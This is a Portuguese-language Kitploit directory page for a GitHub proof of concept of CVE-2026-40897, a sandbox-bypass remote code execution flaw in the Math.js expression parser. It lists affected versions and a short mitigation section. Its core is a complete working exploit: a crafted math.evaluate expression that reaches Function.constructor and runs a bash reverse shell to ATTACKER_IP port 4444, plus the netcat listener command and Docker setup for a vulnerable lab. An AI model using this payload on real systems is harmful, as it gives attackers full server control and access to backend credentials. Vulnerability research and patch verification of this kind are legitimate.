Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-40897 — RCE no Analisador de Expressões do Math.js | Kitploit
Ferramentas/GitHubGitHub/eqstlab/cve-2026-40897
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

RCE no Analisador de Expressões do Math.js

Ver Repositório
2há 21 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-40897 Execução Remota de Código no Parser de Expressões do Math.js

★ CVE-2026-40897 Execução Remota de Código no Math.js PoC ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Visão Geral

CVE-2026-40897 é uma vulnerabilidade de Bypass de Sandbox que leva à Execução Remota de Código no parser de expressões do Math.js. O filtro isSafeProperty apenas verifica o acesso a propriedades a partir de expressões do usuário, não a partir de caminhos de código internos. Ao vazar o array interno do ArrayNode via toJSON() e sobrescrever seu .map, um atacante pode forçar o código interno a acessar Function.constructor e executar JavaScript arbitrário.


Versões Afetadas

Baixar ferramenta
CategoriaVersão
VulnerávelMath.js 13.1.1 ≤ versão ≤ 15.1.1
Corrigida15.2.0

Impacto

  • Execução de código JavaScript arbitrário (RCE)
  • Acesso ao sistema de arquivos do host
  • Conexão de reverse shell levando ao comprometimento total do servidor
  • Exfiltração de credenciais de backend e dados sensíveis

Ambiente

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Após iniciar o ambiente vulnerável, siga os passos abaixo para reproduzir o ataque.

Passo 1. Inicie um listener de reverse shell

root@kitploit:~
nc -lvnp 4444

Passo 2. Envie o payload malicioso

Envie a seguinte expressão para math.evaluate (por exemplo, através do campo de cálculo da aplicação).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Passo 3. Confirme o acesso ao shell no lado do atacante

O servidor alvo conecta-se de volta ao listener do atacante, concedendo um shell bash interativo.


Mitigação

  • Atualize o Math.js para uma versão corrigida
  • Evite passar entrada de usuário não confiável diretamente para math.evaluate()
  • Restrinja a exposição de funções/classes internas (reviver, FunctionAssignmentNode, ArrayNode) através do parser de expressões

Análise

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN: https://www.skshieldus.com/en/report?tab=eqst